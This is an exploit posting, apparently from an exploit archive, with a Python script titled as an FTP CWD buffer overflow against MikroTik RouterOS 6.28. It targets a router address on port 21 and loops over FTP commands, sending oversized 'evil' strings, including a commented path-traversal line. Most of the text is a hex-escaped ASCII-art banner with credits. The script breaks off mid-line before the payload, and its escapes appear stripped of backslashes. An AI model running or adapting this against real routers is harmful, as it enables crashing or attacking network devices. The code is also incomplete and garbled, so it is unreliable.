Mikrotik RouterOS 6.28 FTP Buffer Overflow
Posted on 08 June 2017
import time import socket from ftplib import FTP import struct # mikrotik RouterOS v6.28 FTp CWD command Buffer Overflow # sultan albalawi # win7 from subprocess import * host='192.168.88.1' port=21 u = ""#username p = ""#password def myB(): myB= 'x0dx0ax20x20x20x20x20x20x20x5cx20x20x20x2dx20x20' myB+='x2dx20x20x2dx20x3cx73x65x72x76x65x72x3ex20x20x2d' myB+='x20x5cx2dx2dx2dx3cx20x2dx20x2dx20x20x2dx20x2dx20' myB+='x20x2dx20x20x2ax0dx0ax20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x2ax2ax2ax0dx0ax20x20x20' myB+='x20x20x20x20x7cx20x20x20x20x44x6fx63x5fx41x74x74' myB+='x61x63x6bx20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x2ax2ax2a' myB+='x2ax2ax0dx0ax20x20x20x20x20x20x20x7cx20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20' myB+='x20x20x20x76x20x20x20x20x20x20x20x20x60x20x60x2e' myB+='x20x20x20x20x2cx3bx27x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x2ax2ax2ax2ax41x70x50' myB+='x2ax2ax2ax2ax0dx0ax20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x60x2ex20x20x2cx27x2fx20x2ex27' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0d' myB+='x0ax20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x60x2ex20x58x20x2fx2ex27x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x2ax20x20x20x20x20x2ax2ax2a' myB+='x2ax2ax2ax2ax2ax2ax2ax2ax2ax2ax0dx0ax20x20x20x20' myB+='x20x20x20x2ex2dx3bx2dx2dx27x27x2dx2dx2ex5fx60x20' myB+='x60x20x28x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x2ax2ax2ax20x20x20x20x20x20x20x20x20x20x7cx0d' myB+='x0ax20x20x20x20x20x2ex27x20x20x20x20x20x20x20x20' myB+='x20x20x20x2fx20x20x20x20x27x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x2ax2ax2ax2ax2ax20x20x20x20x20x20' myB+='x20x20x20x7cx20x64x61x74x61x62x61x73x65x0dx0ax20' myB+='x20x20x20x20x3bx53x65x63x75x72x69x74x79x60x20x20' myB+='x27x20x30x20x20x30x20x27x20x20x20x20x20x20x20x20' myB+='x20x2ax2ax2ax4ex45x54x2ax2ax2ax20x20x20x20x20x20' myB+='x20x7cx0dx0ax20x20x20x20x2cx20x20x20x20x20x20x20' myB+='x2cx20x20x20x20x27x20x20x7cx20x20x27x20x20x20x20' myB+='x20x20x20x20x20x20x2ax2ax2ax2ax2ax2ax2ax2ax2ax20' myB+='x20x20x20x20x20x20x5ex0dx0ax20x2cx2ex20x7cx20x20' myB+='x20x20x20x20x20x27x20x20x20x20x20x60x2ex5fx2ex27' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x7c' myB+='x2dx2dx2dx2dx2dx2dx2dx5ex2dx2dx2dx5ex20x20x20x20' myB+='x20x20x20x20x20x20x2fx0dx0ax20x3ax20x20x2ex20x60' myB+='x20x20x3bx20x20x20x60x20x20x60x20x2dx2dx2cx2ex2e' myB+='x5fx3bx2dx2dx2dx3ex20x20x20x20x20x20x20x20x20x7c' myB+='x20x20x20x20x20x20x20x27x2ex27x2ex27x5fx5fx5fx5f' myB+='x5fx5fx5fx5fx20x2ax0dx0ax20x20x27x20x60x20x20x20' myB+='x20x2cx20x20x20x29x20x20x20x2ex27x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x5ex20' myB+='x20x20x20x20x20x20x20x7cx5fx7cx20x46x69x72x65x77' myB+='x61x6cx6cx20x29x0dx0ax20x20x20x20x20x60x2ex5fx20' myB+='x2cx20x20x27x20x20x20x2fx5fx20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x7cx20x20' myB+='x20x20x20x20x20x20x20x20x20x20x7cx7cx20x20x20x20' myB+='x7cx7cx0dx0ax20x20x20x20x20x20x20x20x3bx20x2cx27' myB+='x27x2dx2cx3bx27x20x60x60x2dx5fx5fx5fx5fx5fx5fx5f' myB+='x5fx5fx5fx5fx5fx5fx5fx5fx5fx5fx7cx0dx0ax20x20x20' myB+='x20x20x20x20x20x20x60x60x2dx2ex2ex5fx5fx60x60x2d' myB+='x2dx60x20x20x20x20x20x20x20x69x70x73x20x20x20x20' myB+='x20x20x20x2dx20x20x20x20x20x20x20x20x20x20x20x5e' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x2fx0dx0ax20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x2dx20x20x20x20x20x20x20x20x27' myB+='x2ex20x5fx2dx2dx2dx2dx2dx2dx2dx2dx2dx2ax0dx0ax20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x2dx5fx5fx5fx5fx5fx5fx5fx20' myB+='x7cx5fx20x20x49x50x53x20x20x20x20x20x29x0dx0ax20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20x20' myB+='x20x20x20x20x7cx7cx20x20x20x20x20x7cx7cx0dx0ax20' myB+=' ' myB+='x41x75x74x68x6fx72x3ax20x53x75x6cx74x61x6ex5fx41x6cx62x61x6cx61x77x69x0dx0ax65x78x70x6cx6fx69x74x20x3ax20x68x74x74x70x73x3ax2fx2fx77x77x77x2ex65x78x70x6cx6fx69x74x2dx64x62x2ex63x6fx6dx2fx61x75x74x68x6fx72x2fx3fx61x3dx38x37x34x31 ' myB+='x68x74x74x70x73x3ax2fx2fx77x77x77x2ex66x61x63x65x62x6fx6fx6bx2ex63x6fx6dx2fx70x65x6ex74x65x73x74x33 ' myB+="x61x6cx62x61x6cx61x77x69x34x70x65x6ex74x65x73x74x40x67x6dx61x69x6cx2ex63x6fx6d" print myB myB() try: pause=3 command=["GET ", "ABOR ", "ACCT ", "ALLO ", "ABOR ", "APPE ", "CDUP ", "CWD ", "DELE ", "HELP ", "LIST ", "MDTM ", "MKD ", "MODE ", "NLST ", "NOOP ", "PASS ", "PASV ", "PORT ", "PWD ", "QUIT ", "REIN ", "REST ", "RETR ", "RMD ", "RNFR ", "RNTO ", "SITE ", "SIZE ", "STAT ", "STOR ", "STOU ", "STRU ", "SYST ", "TYPE ", "USER ", "XCWD ", "XPWD ", "XCUP ", "CDUP ", "XMKD ", "XRMD ", "STOU ",] print len(command) m=5000 for i, val in enumerate(command): for dd in range(m): #evil="//../"*260+'windows/system.ini' evil = "